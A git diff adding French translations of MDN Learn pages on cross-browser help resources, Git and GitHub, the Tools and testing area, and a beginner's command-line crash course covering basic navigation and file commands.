La résolution est également très préoccupante — par exemple, les appareils mobiles sont moins susceptibles d'avoir besoin de grosses images lourdes que des ordinateurs de bureau, et ont davantage tendance à avoir des connexions internet plus lentes et sans doute un échange de données coûteux qui gaspille la bande passante qui est un problème supplémentaire. De plus, certains appareils peuvent avoir une gamme de plusieurs résolutions, ce qui veut dire que des petites images peuvent s'afficher pixelisées. Il y a un nombre de techniques qui vous permette de travailler autour de tels problèmes, des simples mobile first media queries, aux plus complexes responsive image techniques.

- -

Une autre difficulté qui peut présenter des problèmes c'est le support des fonctionnalités par les navigateurs qui rendent les techniques suscitées possibles. Les media queries ne sont pas supportés sur IE 8 ou plus vieux, donc si vous voulez utiliser une disposition mobile en premier lieu puis une disposition pour ordinateur de bureau qui applique aux vieilles versions d'IE, vous devrez appliquer un media querie {{glossary("polyfill")}} à votre page, comme css3-mediaqueries-js ou Respond.js.

- -

Trouver de l'aide

- -

Il y bien d'autres problèmes que vous allez rencontrer avec le HTML et le CSS ; la chose la plus important à vraiment savoir est de comment trouver des solutions en ligne.

- -

Parmi les meilleures sources d'information de support il y a Mozilla Developer Network (c'est où vous vous trouvez actuellement !), stackoverflow.com et caniuse.com.

- -

Pour utiliser le Mozilla Developer Network (MDN), la plupart des gens font une recherche de la technologie sur laquelle ils essayent de trouver des informations, et ajoutent le terme "mdn", par exemple "mdn HTML5 video". MDN contient plusieurs types de contenus utiles :

- - - -

caniuse.com fournit des informations de support, tout au long avec des ressources externes. Par exemple, voir http://caniuse.com/#search=video (vous avez juste à entrer la fonctionnalité que vous recherchez dans la boîte de recherche)

- -

stackoverflow.com (SO) est un forum en ligne où vous pouvez poser des questions et avez un ensemble de développeurs partageant leurs solutions, observez les commentaires passés, et aidez les autres développeurs. Nous vous conseillons de chercher et de regarder s'il existe déjà une réponse à votre question, avant de poster une nouvelle question. Par exemple, nous avons cherché pour "cross browser html5 video" sur SO, et très rapidement la solution HTML5 Video with full cross browser compatibility est remontée.

- -

Par ailleurs, essayez de chercher votre moteur de recherche favori pour trouver une réponse à vos problèmes. C'est souvent utile de chercher les messages d'erreur spécifiques si vous en avez — d'autres développeurs seront susceptibles d'avoir les mêmes problèmes que vous

- -

Résumé

- -

Vous devriez maintenant être familier avec les problèmes principaux en navigateur croisé avec HTML et CSS que vous rencontrerez en développement web, et comment faire pour les résoudre.

- -

{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies","Learn/Tools_and_testing/Cross_browser_testing/JavaScript", "Learn/Tools_and_testing/Cross_browser_testing")}}

- - - -

Dans ce module

- - diff --git a/files/fr/learn/tools_and_testing/github/index.html b/files/fr/learn/tools_and_testing/github/index.html new file mode 100644 index 0000000000..ce3590b73f --- /dev/null +++ b/files/fr/learn/tools_and_testing/github/index.html @@ -0,0 +1,94 @@ +--- +title: Git and GitHub +slug: Apprendre/Outils_et_tests/GitHub +tags: + - Apprendre + - Beginner + - Débutant + - GitHub + - Learn + - Web + - git +translation_of: Learn/Tools_and_testing/GitHub +--- +
{{LearnSidebar}}
+ +

Tous les développeurs utiliseront une sorte de système de contrôle des versions (version control system ou VCS en anglais), un outil leur permettant de collaborer avec d'autres développeurs sur un projet sans prendre le risque que l'un d'eux écrase le travail d'un autre, et de revenir à une version précédente de la base de code si un problème est découvert plus tard. Le plus populaires de ces outils (au mois parmi les développeurs) est Git, ainsi que GitHub, un site vous proposant d'héberger vos dépôts de code et plusieurs outils pour travailler avec eux. Ce module vise à vous enseigner ce que vous devez savoir à propos de ces deux outils.

+ +

Vue d'ensemble

+ +

Les systèmes de contrôles des versions sont nécessaires pour le développement de logiciel :

+ +
    +
  • Il est rare que vous travailliez sur un projet complètement seul, et aussitôt que vous commencez à travailler avec d'autres gens, vous commencez à courir le risque de créer des conflits entre votre travail et celui des autres — situation qui arrive quand deux personnes tentent de modifier le même morceau de code au même moment. Vous devez avoir une sorte de mécanisme en place pour gérer ces conflits et vous aider à éviter la perte de travail qui peut en résulter.
    • +
  • Lorsque vous travailler sur un projet seul ou avec d'autres, vous voudrez être en mesure de centraliser le code afin qu'il ne soit pas perdu par des pannes d'ordinateur.
    • +
  • Vous voudrez aussi être en mesure de revenir à de précédentes versions si un problème est découvert plus tard. Vous pourriez avoir commencé à faire ceci dans vos propres projets en créant différentes versions du même fichier, par exemple monCode.js, monCode_v2.js, myCode_v3.js, myCode_final.js, monCode_vraiment_final.js, etc., mais c'est une méthode faillible et donc peu fiable.
    • +
  • Différents membres d'une équipe vont communément créer leur propres versions séparées du code (appelées des branches en Git), travailler sur une nouvelle fonctionnalité sur cette version et finalement la fusionner de manière contrôlée (avec GitHub, on fait des "requêtes de tirage" ou pull requests en anglais) avec la version principale quand ils pensent en avoir fini.
    • +
+ +

Les systèmes de contrôle des versions fournissent des outils pour répondre à ces besoins. Git est un exrmple d'un tel système, et GitHub est un site web avec une infrastructure qui propose un serveur Git et d'autres outils très pratiques pour travailler avec des dépôts Git individuellement ou en équipe, tel que le rapportage de problèmes liés au code, la relecture et validation de code, la gestion de projet par différentes fonctions comme l'assignation de tâches et les statistiques sur l'utilisation de tâches, et plus encore.

+ +
+

Note: Git est actuellement un système de contrôle des versions distribué, signifiant qu'une copie complète du dépôt contenant la base de code est fait sur votre ordinateur (et celui de tous les autres participants). Vous modifiez votre propre copie et puis vous les envoyez vers le serveur, où un administrateur pourra décider de les fusionner avec la copie commune ou non.

+
+ +
+

Vous cherchez à devenir un développeur web front-end ?

+ +

Nous avons mis ensemble un cours incluant toutes les informations nécessaires dont vous avez besoin pour atteindre votre objectif.

+ +

Commencer

+
+ +

Prérequis

+ +

Pour utiliser Git et GitHub, vous avez besoin :

+ +
    +
  • Un ordinateur de bureau avec Git installé (voir la page des téléchargements Git).
    • +
  • Un outil pour utiliser Git. Selon la manière dont vous préférez travailler, vous pourriez utiliser une interface graphique Git (nous recommandons GitHub Desktop, SourceTree et Git Kraken) ou simplement se contenter d'utiliser un terminal en ligne de commande. En fait, il est probablement utile pour vous d'apprendre au moins les bases des commandes git du terminal, même si avez l'intention d'utiliser une interface graphiques.
    • +
  • Un compte GitHub. Si vous n'en avez pas encore un, inscrivez-vous maintenant en utilisant le lien précédent.
    • +
+ +

En matière de connaissances prérequises, vous n'avez besoin de rien concernant le développement web, Git/GitHub ou les système de contrôle des versions pour commencer ce module. Toutefois, il vous est recommandé de connaitre les bases de la programmation afin que vous ayiez des connaissances informatiques suffisantes ainsi qu'un code à héberger dans vos dépôts !

+ +

Il est aussi préférable que vous ayiez quelques connaissances fondamentales sur le terminal, par exemple du déplacement entre dossiers, de la création de fichiers et de la modification du PATH du système.

+ +
+

Note: Github n'est pas le seul site et un ensemble d'outils que vous pouvez utiliser avec Git. Il existe d'autres alternatives telles que GitLab que vous pourriez essayer. Vous pouvez même tenter de configurer votre propre serveur Git et l'utiliser à la place de GitHub. Nous nous en sommes tenus à GitHub dans ce cours pour vous montrer une seule manière de faire.

+
+ +

Guides

+ +

Notez que les liens ci-après vous amènent à des ressources sur des sites externes. Nous envisageons la possibilité d'avoir notre cours  consacré à Git/GitHub, mais pour l'instant, ceux-ci vous aideront à mieux appréhender le sujet.

+ +
+
Hello World (de GitHub)
+
C'est un bon point pour commencer — ce guide pratique vous fera entrer dans l'utilisation de GitHub en vous apprenant les fondements de Git tels que la création de dépôts et de branches, la créations de commits ainsi qu'à l'ouverture et à la fusion de pull requests.
+
Git Handbook (de GitHub)
+
Ce manuel sur Git va plus en profondeur en expliquant ce qu'un système de contrôle des versions est, ce qu'on dépôt est, comment le modèle minimal de GitHub fonctionne, les commandes Git avec divers exemples et plus encore.
+
Forking Projects (de GitHub)
+
Forking projects est nécessaire quand vous souhaitez contribuer au code de quelqu'un d'autre. Ce guide vous explique comment.
+
About Pull Requests (de GitHub)
+
Un guide utile pour apprendre à gérer les pull requests, la manière dont les changements de code suggérés sont envoyés aux dépôts locaux des autres contributeurs pour être pris en considération.
+
Mastering issues (de GitHub)
+
Les issues (problèmes) sont comme un forum pour votre projet GitHub, où chacun peut venir poser des questions et rapporter des problèmes, et vous pouvez gérer les mises à jour (par exemple assigner certaines personnes à la résolution de problèmes, à la clarification de problèmes ou à l'information de la correction de problèmes). Cet article vous donne ce dont vous avez besoin de savoir à propos des issues.
+
+ +
+

Note: Il existe beaucoup d'autres choses que vous pouvez faire avec Git et GitHub, mais nous pensons que ce qui précède représente le minimum dont vous aurez besoin pour commencer à utiliser Git efficacement. Au fur et à mesure de votre progression avec Git, vous comprendrez de plus en plus qu'il est facile de faire des erreurs quand on commence à utiliser des commandes plus complexes. Ne vous inquiétez pas, même les développeurs web aguerris pensent que Git est parfois déroutant, et résolvent souvent des problèmes en cherchant des solutions sur internet ou en consultat des sites comme Flight rules for Git et Dangit, git!

+
+ +

Voir aussi

+ + diff --git a/files/fr/learn/tools_and_testing/index.html b/files/fr/learn/tools_and_testing/index.html new file mode 100644 index 0000000000..7fbb181871 --- /dev/null +++ b/files/fr/learn/tools_and_testing/index.html @@ -0,0 +1,42 @@ +--- +title: Outils et tests +slug: Apprendre/Outils_et_tests +tags: + - Accessibilité + - Apprendre + - Automatisation + - CSS + - Déboguage + - Débutant + - HTML + - JavaScript + - Outils + - tests +translation_of: Learn/Tools_and_testing +--- +
{{LearnSidebar}}
+ +

Une fois que vous commencerez à être à l'aise avec les langages de programmation web (comme le HTML, le CSS, et le JavaScript), et acquerrez plus d'expérience, lirez plus de ressources, et apprendrez plus de choses, vous commencerez à tomber sur toute sorte d'outils, comme par exemple des scripts CSS et JavaScript, des outils de tests et d'automatisation, et bien plus encore. Au fur et à mesure que vos projets web deviendront de plus en plus grands et complexes, vous allez vouloir savoir comment utiliser certains de ces outils et élaborer des tests fiables pour votre code. Cette partie de la zone d'apprentissage cherche à vous donner tout ce dont vous avez besoin afin de commencer sur de bonnes bases et faire des choix informés.

+ +

L'industrie du web est un endroit excitant où travailler, mais ce n'est pas sans ses complications. Les technologies de base que nous utilisons pour concevoir des sites web sont assez stables maintenant, mais de nouvelles fonctionnalités sont ajoutées continuellement, et de nouveaux outils — qui les rendent faciles d'utilisation, et sont construits sur ces technologies — apparaissent constamment. En plus de cela, il ne faut pas oublier de vérifier que notre code utilise les meilleures pratiques qui permettront à notre projet de fonctionner sur différents navigateurs et appareils, et d'être aussi utilisable par des personnes ayant un handicap.

+ +

Savoir précisément quels outils prendre peut parfois être une tâche difficile, c'est pourquoi nous avons écrit cette séries d'articles, afin de vous expliquer quels types d'outils existent, ce qu'ils peuvent faire pour vous et comment se servir des plus utilisés dans l'industrie.

+ +
+

Note: parce que de nouveaux outils apparaissent tout le temps et que les anciens se démodent, nous avons écrit ceci afin d'être aussi neutre que possible — nous voulons nous concentrer premièrement et essentiellement sur les tâches générales que ces outils vont vous aider à accomplir, plutôt que de parler des outils qui sont spécifiques à une tâche. Nous devons bien sûr vous montrer comment utiliser un outil avant de vous en apprendre les techniques spécifiques, mais gardez à l'esprit que les outils que nous vous montrons ne sont pas forcément les meilleurs, ni les seuls disponibles — dans la plupart des cas il existe d'autre façons de faire, mais nous voulons vous fournir une méthodologie claire et qui fonctionne.

+
+ +

Parcours d'apprentissage

+ +

Vous devriez vraiment apprendre les langages de base HTML, CSS, et JavaScript avant d'essayer d'utiliser les outils présentés ici. Par exemple, vous allez avoir besoin de connaître les fondamentaux de ces langages avant de commencer à déboguer des erreurs dans un code source web complexe, ou utiliser efficacement les librairies JavaScript , ou encore écrire des tests et les utiliser sur vos codes, etc.

+ +

Vous avez d'abord besoin d'une base solide.

+ +

Modules

+ +
+
Outils de développement web
+
Dans ce module, nous explorons les différents types d'outils de développement web. Ceci inclut de connaître les tâches les plus courantes que vous serez amenés à résoudre, comment les intégrer au sein d'un workflow, et les meilleurs outils actuellement disponibles afin d'effectuer ces tâches.
+
Test à travers différents navigateurs
+
Ce module est orienté spécifiquement vers les tests de projets web à travers différents navigateurs. Ici on cherche à identifier quel type d'audience vous ciblez (ex. de quels utilisateurs, navigateurs et appareils avez vous le plus besoin de vous soucier?), comment faire des tests, les principaux problèmes auxquels vous devrez faire face avec différents types de codes et comment en venir à bout, quels outils sont les plus adaptés pour vous aider à cerner et résoudre ces problèmes, et comment utiliser l'automatisation afin d'accélérer les tests.
+
diff --git a/files/fr/learn/tools_and_testing/understanding_client-side_tools/command_line/index.html b/files/fr/learn/tools_and_testing/understanding_client-side_tools/command_line/index.html new file mode 100644 index 0000000000..74d503b7d4 --- /dev/null +++ b/files/fr/learn/tools_and_testing/understanding_client-side_tools/command_line/index.html @@ -0,0 +1,487 @@ +--- +title: Cours express sur la ligne de commande +slug: Learn/Tools_and_testing/Understanding_client-side_tools/Ligne_de_commande +tags: + - CLI + - Côté client + - Débutant + - Outils + - Terminal + - ligne de commande + - npm +translation_of: Learn/Tools_and_testing/Understanding_client-side_tools/Command_line +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Tools_and_testing/Understanding_client-side_tools/Overview","Learn/Tools_and_testing/Understanding_client-side_tools/Package_management", "Learn/Tools_and_testing/Understanding_client-side_tools")}}
+ +

Au cours de tout process de développement, vous allez très certainement être confronté à la nécessité d'exécuter des commandes dans un terminal (ce que l'on appelle "travailler en ligne de commande"). Cet article vous propose une introduction au terminal et vous dévoile les commandes essentielles dont vous aurez besoin, la façon de les chaîner, et comment ajouter vos propres outils d'interface en ligne de commande (CLI, command line interface).

+ + + + + + + + + + + + +
Prérequis : +

Être familiarisé avec les bases des langages

+ HTML, CSS, et JavaScript.
Objectif : +

Comprendre ce qu'est la ligne de commande, savoir quelles sont les commandes de base que vous devriez connaître, et comment installer de nouveaux outils de ligne de commande.

+
+ +

Bienvenue sur le terminal

+ +

Le terminal est une interface de texte pour l'exécution de programmes qui utilisent un langage lui-même textuel . Quel que soit le type d'outils que vous allez utiliser pour le développement web, il y a de grandes chances que vous soyez amené à travailler en ligne de commande pour les utiliser (vous rencontrerez aussi l'appellation "console" ou encore "CLI tools" pour désigner de tels outils d'interface en ligne de commande).

+ +

Il existe de nombreux outils pour travailler en ligne de commande ; certains sont pré-installés sur votre système, et une infinité d'autres sont disponibles sur des dépôts de "paquets" (packages). Ces dépôts sont un peu comme des magasins spécialisés (pour la plupart) dans les outils de ligne de commande et les logiciels. Nous allons voir un peu plus loin dans ce chapitre comment installer certains de ces outils, et nous en apprendrons plus sur les dépôts de paquets dans le prochain chapitre.

+ +

L'une des critiques les plus fréquentes envers la ligne de commande, c'est que l'utilisateur courant n'en a pratiquement aucune expérience. Se retrouver devant un terminal pour la première fois peut être vraiment intimidant : un écran vide, un curseur qui clignote, et rien ou presque pour vous aider à en tirer quelque chose.

+ +

Malgré cette apparence rebutante, le terminal est pourtant un outil puissant, et nous pouvons vous promettre qu'avec une petite formation et un peu de pratique, son utilisation vous deviendra bien plus facile ! C'est la raison pour laquelle nous vous proposons ce chapitre - pour vous aider à démarrer dans cet environnement apparemment inhospitalier.

+ +

.

+ +

Quelle est l'origine du terminal ?

+ +

Elle se situe dans les années 50-60, et son aspect d'alors ne ressemble pas du tout à ce que nous connaissons aujourd'hui (heureusement). Vous pouvez en apprendre davantage sur la page de Wikipédia Terminal (informatique).

+ +

Depuis, le terminal est resté un élément constant de tout système d'exploitation - des ordinateurs de bureau aux serveurs du cloud (qui n'est pas vraiment un nuage) en passant par les micro-cartes comme la Raspberry PI Zero et même les téléphones mobiles. Il offre un accès direct au système de fichiers de l'ordinateur et à des fonctionnalités de bas niveau, ce qui le rend incroyablement apte à accomplir rapidement des tâches complexes, à condition de savoir ce que vous faites.

+ +

Il est également utile pour automatiser certaines tâches, comme par exemple modifier les titres de centaines de fichiers instantanément - par exemple changer tous les "ch01-xxxx.png" en "ch02-xxxx.png", ce qui vous prendrait un temps considérable si vous deviez le faire à la main dans la fenêtre d'un gestionnaire de fichiers.

+ +

En tous cas, le terminal ne va pas disparaître de si tôt.

+ +

À quoi ressemble un terminal ?

+ +

Vous pouvez voir ci-dessous les apparences de quelques terminaux émulés par des programmes courants.

+ +

Les images suivantes montrent les invites de commande disponibles sous Windows – il y a une panoplie d’options, du programme « cmd » au « powershell » - qui peuvent être lancées depuis le menu de démarrage en tapant le nom du programme.

+ +

A vanilla windows cmd line window, and a windows powershell window

+ +

Et ci-dessous, vous pouvez voir l’application de terminal pour macOS.

+ +

A basic vanilla mac terminal

+ +

Comment ouvrir un terminal ?

+ +

Beaucoup de développeurs se servent aujourd'hui de terminaux de type Unix (c'est-à-dire le terminal en lui-même plus les outils auxquels il donne accès). Beaucoup de tutoriels sur le web sont basés sur ces terminaux Unix qu'ils considèrent (malheureusement) comme universels, mais nous allons voir dans cette section comment ouvrir un terminal sur le système de votre choix.

+ +

Linux/Unix

+ +

Comme indiqué plus haut, les systèmes Linux/Unix disposent d'un terminal par défaut, présent dans vos Applications.

+ +

macOS

+ +

macOS a un système nommé Darwin qui réside sous l'interface graphique. Darwin est un système de type Unix, qui fournit le terminal, et l'accès aux outils de bas niveau. Darwin est dans l'ensemble assez proche d'Unix pour ne pas nous causer trop de problèmes lors de notre progression dans cet article.

+ +

Ce terminal est disponible sur macOS dans Applications/Utilitaires/Terminal.

+ +

Windows

+ +

Comme pour d'autres outils de programmation, c’est un peu une tradition pour Windows de ne pas faciliter l’utilisation du terminal (ou ligne de commande) par rapport à d’autres systèmes d’exploitation. Mais les choses s’améliorent.

+ +

Traditionnellement aussi, Windows a depuis longtemps eu son propre programme de type « terminal », appelé « cmd » (« l’invite de commande »), mais celui-ci n’est en rien comparable aux commandes Unix, et il est en fait équivalent au programme DOS des temps héroïques.

+ +

On trouve malgré tout de meilleurs programmes qui offrent une expérience de terminal sur Windows, tels que Powershell (voir ici pour l’installer), et Gitbash (qui fait partie de la trousse à outils git for Windows).

+ +

Quoi qu’il en soit, aujourd’hui, la meilleure option est le « Windows Subsystem for Linux » (WSL) – une couche de compatibilité qui permet de lancer des systèmes d’exploitation Linux directement dans Windows 10, ce qui vous permet d’avoir un « vrai terminal », sans recourir à une machine virtuelle.

+ +

Vous pouvez l’installer gratuitement directement à partir du Windows store. Toute la documentation utile est disponible dans la Windows Subsystem for Linux Documentation .

+ +

a screenshot of the windows subsystem for linux documentation

+ +

Si vous vous demandez quelle option choisir sur Windows, nous vous recommandons vivement de vous décider pour le WSL. Vous pourriez certes vous en tenir à l’invite de commande par défaut (« cmd »), et faire tourner pas mal d’outils correctement, mais tout sera bien plus facile si vous avez une meilleure équivalence avec les outils Unix.

+ +

En passant, quelle est la différence entre ligne de commande et terminal ?

+ +

En général, vous rencontrerez ces deux termes utilisés de façon interchangeable. Techniquement, un terminal (ou console) est un logiciel qui se connecte à un shell au démarrage. Un shell correspond à votre session et à votre environnement de session (où des choses comme l’invite de commande et les raccourcis peuvent être personnalisés). La ligne de commande quant à elle (ou prompt) est la ligne de texte où vous entrez des commandes et où le curseur clignote.

+ +

Est-ce qu'il faut se servir du terminal?

+ +

Bien que les outils disponibles à partir de la ligne de commande soient très riches, si vous utilisez des outils tels que Visual Studio Code vous allez avoir accès à une quantité d’extensions que vous pourrez utiliser pour vous aider dans l’édition et vous allez pouvoir vous passer presque complètement du terminal lui-même. Cependant, vous ne pourrez pas trouver une extension sur votre éditeur de code pour tout ce que vous voudrez faire – en définitive, vous devrez malgré tout vous confronter au terminal.

+ +

Les commandes intégrées de base

+ +

Assez parlé — voyons maintenant quelques commandes utilisables dans un terminal ! Voici, clés en main, un petit aperçu de tout ce que l'on peut faire en ligne de commande, avec la référence des outils pertinents dans chaque cas :

+ +
    +
  • Naviguer dans le système de fichiers de votre ordinateur en accomplissant des tâches basiques telles que créer, copier, renommer et effacer : +
      +
    • Se déplacer dans l'arborescence des répertoires : cd
      • +
    • Créer des répertoires : mkdir
      • +
    • Créer des fichiers (et modifier leurs métadonnées): touch
      • +
    • Copier des fichiers : cp
      • +
    • Déplacer des fichiers : mv
      • +
    • Supprimer des fichiers ou des répertoires : rm
      • +
    +
    • +
  • Télécharger des fichiers à partir d'URL spécifiques : curl
    • +
  • Rechercher des fragments de texte dans des parties de texte de taille importante : grep
    • +
  • Afficher le contenu d'un fichier page par page: less, cat
    • +
  • Manipuler et transformer des flux de texte (par exemple remplacer toutes les occurrences de <div> dans un fichier HTML par <article>): awk, tr, sed
    • +
+ +
+

Note : On trouve  sur le web un bon nombre de tutoriels de qualité qui permettent d'aller beaucoup plus loin avec la ligne de commande — ceci n'est qu'une brève introduction ! L'auteur de ces lignes lui-même a sa propre série de vidéos de formation au terminal (80% de réduction en utilisant le code mdn au moment du paiement — 19$).

+
+ +

Pour aller plus loin, voyons maintenant comment utiliser quelques-uns de ces outils en ligne de commande. Commencez par ouvrir votre programme de terminal (ou console) !

+ + + +

Lorsque vous vous mettez sur la ligne de commande, vous allez inévitablement devoir naviguer vers un répertoire spécifique pour y "faire quelque chose". Tous les systèmes d'exploitation (du moins avec un paramétrage par défaut) démarrent leur terminal dans votre répertoire d'utilisateur, et il y a des chances pour que vous souhaitiez vous rendre de là à un autre emplacement.

+ +

La commande cd vous permet de changer de répertoire (Change Directory). Techniquement, cd n'est pas un programme mais une commande intégrée. Cela signifie que votre système d'exploitation la fournit de façon native, et aussi que vous ne pouvez pas l'effacer accidentellement - bonne nouvelle ! Cela dit, vous n'avez pas besoin de vous soucier de savoir si une commande est intégrée ou non, mais vous pouvez garder à l'esprit que les commandes intégrées sont présentes sur les systèmes basés sur Unix.

+ +

Pour changer de répertoire, vous tapez cd dans votre terminal, suivi par le répertoire dans lequel vous voulez vous rendre. En supposant que le répertoire (ou dossier) Desktop se trouve dans votre répertoire utilisateur, vous allez donc taper cd Desktop (voir les copies d'écran ci-dessous).

+ +

results of the cd Desktop command being run in a variety of windows terminals - the terminal location moves into the desktop

+ +

Sur un système en langue française, vous trouverez plus fréquemment "Bureau" plutôt que "Desktop". Essayez de taper ceci dans votre terminal système (sur un système en langue anglaise, bien sûr conservez "Desktop") :

+ +
cd Bureau
+ +

Si vous voulez revenir au répertoire précédent, utilisez les deux points :

+ +
cd ..
+ +
+

Note: Raccourci vraiment utile sur un terminal, la touche tab émule la saisie automatique des mots dont vous connaissez l'existence, ce qui vous évite de les taper en entier. Par exemple, après avoir tapé les deux commandes ci-dessus, essayez de taper cd B puis de presser la touche tab — cela devrait saisir automatiquement le nom de répertoire Bureau, à condition qu'il soit présent dans le répertoire courant. Gardez ceci à l'esprit tout en poursuivant.

+
+ +

Si le répertoire que vous visez est placé assez loin dans l'arborisation des fichiers, il vous faut connaître le chemin (on dit souvent path, qui est le terme anglais) pour vous y rendre. Cela devient en général plus facile à mesure que vous vous familiarisez avec la structure de votre système de fichiers, mais si vous n'êtes pas sûr vous pouvez le retrouver en combinant la commande ls avec des clicks dans votre Explorer ou autre gestionnaire graphique de fichiers, ce qui va vous permettre de voir où se trouve le répertoire (ou dossier) cherché par rapport à votre répertoire actuel (= répertoire courant).

+ +

Par exemple, si vous vouliez aller dans un dossier nommé src, qui se trouve dans un dossier nommé projet, qui est lui-même sur le Bureau, vous pourriez taper ces trois commandes pour y arriver à partir de votre dossier utilisateur :

+ +
cd Bureau
+cd projet
+cd src
+ +

Mais c'est une perte de temps — à la place, vous pouvez taper une seule commande, avec les différents éléments du chemin séparés par des slashes, exactement de la même manière que lorsque vous spécifiez les chemins d'accès à des images ou autres assets en CSS, HTML, ou JavaScript :

+ +
cd Bureau/projet/src
+ +

Notez que si vous commencez le chemin par un slash, vous le rendez absolu, par exemple /Utilisateurs/votre-nom/Bureau. Omettre le premier slash comme nous l'avons fait ci-dessus construit un chemin relatif à votre répertoire de travail actuel. C'est exactement la même chose qu'une URL dans un navigateur. Un slash au début signifie "à la racine du site web", alors qu'omettre le slash signifie "l'URL est relative à ma page courante".

+ +
+

Note: Sur windows vous devez utiliser des backslashes et non des slashes, p. ex. cd Bureau\projet\src — cela peut vous paraître vraiment étrange, mais si la question vous intéresse, regardez cette vidéo YouTube (en anglais) qui présente une explication par l'un des ingénieurs principaux de Microsoft.

+
+ +

Lister le contenu d'un répertoire

+ +

ls (de l'anglais list) est la commande intégrée Unix qui va vous permettre de lister le contenu du répertoire dans lequel vous vous trouvez. Notez que cela ne fonctionnera pas avec l'invite de commande par défaut de Windows (cmd) — la commande équivalente est dir.

+ +

Essayez de taper ceci dans votre terminal :

+ +
ls
+ +

Vous obtenez la liste des fichiers et répertoires de votre répertoire de travail courant, mais l'information est vraiment basique - vous n'avez que les noms des items, sans savoir s'il s'agit d'un fichier, d'un répertoire, ou d'autre chose. Heureusement, une petite modification dans l'utilisation de la commande va vous donner beaucoup plus d'informations.

+ +

Présentation des options de commandes

+ +

La plupart des commandes de terminal possèdent des options - ce sont des modificateurs que vous ajoutez à la fin d'une commande pour obtenir un comportement légèrement différent. Il s'agit en général d'un espace suivi d'un tiret puis d'une ou de plusieurs lettres.

+ +

Voyez par exemple ce que vous obtenez en essayant ceci :

+ +
ls -l
+ +

Avec ls, l'option -l (tiret l, "dash ell" en anglais) vous donne une liste avec un fichier ou répertoire par ligne et pas mal d'autres informations. Les répertoires ("directories") sont repérés pas la lettre "d" au tout début de la ligne. Nous pouvons y entrer avec la commande cd.

+ +

Voici ci-dessous une copie d'écran avec un terminal macOS “vanilla” en haut, et en bas un terminal personnalisé avec quelques icônes supplémentaires et des couleurs pour le rendre plus vivant — les deux affichent le résultat de la commande ls -l :

+ +

A vanilla mac terminal and a more colorful custom mac terminal, showing a file listing - the result of running the ls -l command

+ +
+

Note: Pour savoir exactement quelles sont les options d'une commande, vous pouvez consulter sa page de manuel (man page en anglais). Pour cela, tapez la commande man suivie du nom de la commande que vous cherchez, par exemple man ls. La page de manuel va s'ouvrir dans le lecteur de texte par défaut de votre terminal (par exemple, less sur mon terminal), et vous allez pouvoir faire défiler la page avec les touches de flèches ou un mécanisme similaire. La page de manuel liste toutes les options de façon très détaillée, ce qui peut être un peu intimidant au début, mais au moins vous savez où les trouver si vous en avez besoin. Lorsque vous avez terminé avec la page de manuel, vous la refermez avec la commande "quitter" de votre visionneur de texte (pour less c'est "q" ; si ce n'est pas évident cherchez sur Internet).

+
+ +
+

Note: Pour lancer une commande avec des options multiples, on peut en général les regrouper dans une seule chaîne de caractères après le tiret, par exemple ls -lah, ou ls -ltrh. Exercez-vous à consulter la page man de ls pour savoir ce que vous donnent ces options !

+
+ +

Maintenant que vous connaissez ces deux commandes fondamentales, allez un peu fouiller dans votre système de fichiers en naviguant à partir de votre répertoire.

+ +

Créer, copier, déplacer, supprimer

+ +

Il y existe un certain nombre d'autres commandes d'utilité basique dont vous allez probablement pas mal vous servir en travaillant sur un terminal. Elles sont assez simples, aussi nous n'allons pas les expliquer avec autant de détails que les deux précédentes.

+ +

Jouez avec elles dans un répertoire que vous aurez créé quelque part de façon à ne pas effacer accidentellement quoi que ce soit d'important, en vous servant des exemples donnés pour vous guider :

+ +
    +
  • mkdir — crée un nouveau répertoire à l'intérieur du répertoire courant. Par exemple, mkdir mon-super-site va créer un nouveau répertoire nommé mon-super-site.
    • +
  • rmdir — efface le répertoire dont le nom est passé, mais seulement s'il est vide. Par exemple  rmdir mon-super-site va supprimer le répertoire que nous avons créé ci-dessus. Si vous voulez supprimer un répertoire qui n'est pas vide (ainsi que tout ce qu'il contient), vous pouvez utiliser l'option -r (recursive), mais cela est dangereux. Assurez-vous de n'avoir pas besoin plus tard de quelque chose qui se trouverait dans le répertoire, car il aura définitivement disparu.
    • +
  • touch — crée un nouveau fichier vide dans le répertoire courant. Par exemple, touch mdn-exemple.md crée un fichier vide nommé mdn-exemple.md.
    • +
  • mv — déplace un fichier à partir de l'emplacement spécifié en premier vers celui spécifié en second, par exemple mv mdn-exemple.md mdn-exemple.txt (les emplacements sont écrits sous la forme de chemins - file paths). Cette commande déplace un fichier nommé mdn-exemple.md situé dans le répertoire courant vers une fichier nommé mdn-exemple.txt dans le répertoire courant. Techniquement, le fichier est déplacé, mais d'un point de vue pratique, cette commande renomme en fait le fichier.
    • +
  • cp — d'un usage similaire à mv, cp copie le fichier à l'emplacement spécifié en premier vers celui spécifié en second. Par exemple, cp mdn-exemple.txt mdn-exemple.txt.bak crée une copie de mdn-exemple.txt nommée mdn-exemple.txt.bak (bien entendu vous pouvez la nommer comme vous voulez).
    • +
  • rm — supprimer le fichier spécifié. Par exemple, rm mdn-exemple.txt efface un fichier unique nommé mdn-exemple.txt. Notez que cet effacement est permanent et ne peut pas être annulé comme lorsque vous placez un fichier dans la corbeille de votre Bureau dans votre interface utilisateur.
    • +
+ +
+

Note : Beaucoup de commandes de terminal autorisent l'emploi d'astérisques comme caractère "joker", dont le sens est "une séquence de caractères quelconque". Cela vous permet d'exécuter une commande en une seule fois sur un nombre potentiellement important de fichiers qui correspondent au modèle donné. À titre d'exemple, rm mdn-* va effacer tous les fichiers qui commencent par mdn-. rm mdn-*.bak va effacer tous les fichiers qui commencent par mdn- et finissent par .bak.

+
+ +

Le terminal — une pratique à risque ?

+ +

Nous y avons déjà fait allusion, et soyons clairs - travailler sur terminal demande de la prudence. Des commandes simples ne présentent pas trop de risques, mais dès que vous commencez à combiner des commandes plus complexes, il vous faut réfléchir soigneusement à ce qu'elle va exécuter, et essayer de la tester avant de la lancer effectivement dans le répertoire voulu.

+ +

Supposons que vous ayez 1000 fichiers texte dans un répertoire, et que vous vouliez les parcourir en supprimant uniquement ceux dont le nom comprend une certaine chaîne de caractères. Si vous ne faites pas attention, vous risquez d'effacer quelque chose d'important et de perdre du coup une somme de travail. Une bonne habitude à prendre consiste à écrire votre ligne de commande dans un éditeur de texte, à la construire à votre idée, et ensuite à faire une copie de sauvegarde de votre répertoire avant d'essayer la commande sur celui-ci.

+ +

